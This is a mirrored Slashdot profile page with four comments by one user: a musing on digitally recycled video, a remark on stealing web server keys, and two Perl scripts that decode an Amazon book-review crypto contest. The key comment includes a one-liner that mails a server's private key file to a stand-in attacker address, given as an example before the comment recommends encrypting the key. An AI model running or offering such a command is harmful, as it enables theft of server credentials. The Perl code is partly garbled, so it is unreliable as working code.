Slashdot Mirror


User: Dr.+B

Dr.+B's activity in the archive.

Stories
0
Comments
4
First seen
Last seen
Profile
(view on slashdot.org)

Comments · 4

  1. Authenticity aside... on Real-time Video Disinformation · · Score: 2

    Pretty much any piece of video that has ever been recorded is becoming clip art that producers can digitally sculpt into the story they want to tell, according to Eric Haseltine, senior vice president for R&D at Walt Disney Imagineering in Glendale, Calif.

    The questions this brings up about authenticity aside, what if (when!) it becomes cheaper to recycle media stars, actors, newscasters, etc... than to produce a genuine piece of work with real people? Would there be a dearth of new faces or will viewers tire of the same old people? This recycling concept accepted as a given, I wonder if this would lead to a "freezing" of culture? With no new material being produced, will people bother changing the mood and and social reflections in these recycled adaptions? Out there, I know, but worth consideration. Brings to mind Ronald Reagan in the Cafe 80's in Back to the Future II.

  2. The path to hidden data? on Encryption Key Retrieval Method Invented · · Score: 1

    >Van Someren noted that it's possible that
    >others - hackers, in particular - already have
    >discovered the path to the once-hidden
    >encryption keys.

    If a cracker already has access to the server,
    why bother looking for really random data? Most
    webservers have a standard filename for the
    private key. Don't need much experience in
    information theory "find the path" to "hidden" keys. Eg:
    "cat `locate httpsd.pem` | sendmail cr4ck3r@evil.org"

    The smartest solution is to encrypt the private key and require the webmaster to decrypt it whenever the server's started. That way, a pilfered keyfile is worthless to the cracker.

    My log2(4) cents.

  3. Whoops, posted the broken one... on Amazon.com Hosting Crypto-Contest · · Score: 1

    #!/usr/bin/perl

    #default url of books at Amazon.com
    $url="lynx -source http://www.amazon.com/exec/obidos/ASIN/ISBN/";

    #code given for contest
    @codes = (
    "038-097-34-64-242-335-51-377-183-168",
    "038-097-34-64-380-330-115-289-273-189-56",
    "068-486-42-23-87-434-10-468-151-345-150-494-376 -415-426",
    "038-549-53-15-1-193-121-29-109-66-28-160-106",
    "047-111-70-99-24-21-25-12-53-22-56-8",
    );
    $|=1;
    foreach $line (@codes){
    my @nums = split /-/,$line; #split codeline into array of nums
    my $isbn="";
    for (1 ... 4){
    $isbn.= shift @nums; #get ISBN of book
    }

    my $turl=$url;
    $turl =~ s/ISBN/$isbn/; #fetch book review from amazon.com
    undef $/; open (DOC,"$turl |"); my $text = ; close(DOC);

    $text =~ m/Amazon\.com: A Glance: ([^]+>|'//g; #remove HTML
    $text =~ tr/a-z/A-Z/; #all caps
    $text =~ s/[ \n\t\-\)\(",\/.]+/ /g; #get rid of all but words
    $text =~ s/^.*REVIEWS AMAZON COM //; #skip to review
    my @words = split / /, $text; #arrayize words

    foreach $num (@nums){
    print $words[$num - 1], " "; #print word for index given
    }
    print "\n\n";
    }

  4. Cheezy perl solution on Amazon.com Hosting Crypto-Contest · · Score: 0

    #!/usr/bin/perl

    $url="lynx -source http://www.amazon.com/exec/obidos/ASIN/ISBN/";

    @codes = (
    "038-097-34-64-380-330-115-289-273-189-56",
    "068-486-42-23-87-434-10-468-151-345-150-494-376 -415-426",
    "038-549-53-15-1-193-121-29-109-66-28-160-106",
    "047-111-70-99-24-21-25-12-53-22-56-8",
    );
    $|=1;
    foreach $line (@codes){
    my $turl=$url;
    $turl =~ s/ISBN/$isbn/;
    my @nums = split /-/,$line;
    my $isbn="";
    for (1 ... 4){
    $isbn.= shift @nums;
    }
    undef $\; open (DOC,"$turl |"); my $text = ; close(DOC);
    print "** $text **\n";

    $text =~ m/Amazon\.com: A Glance: ([^]+>|'//g;
    $text =~ tr/a-z/A-Z/;
    $text =~ s/[ \n\t\-\)\(",\/.]+/ /g;
    $text =~ s/^.*REVIEWS AMAZON COM //;
    my @words = split / /, $text;

    foreach $num (@nums){
    print $words[$num - 1], " ";
    }
    print "\n\n";
    }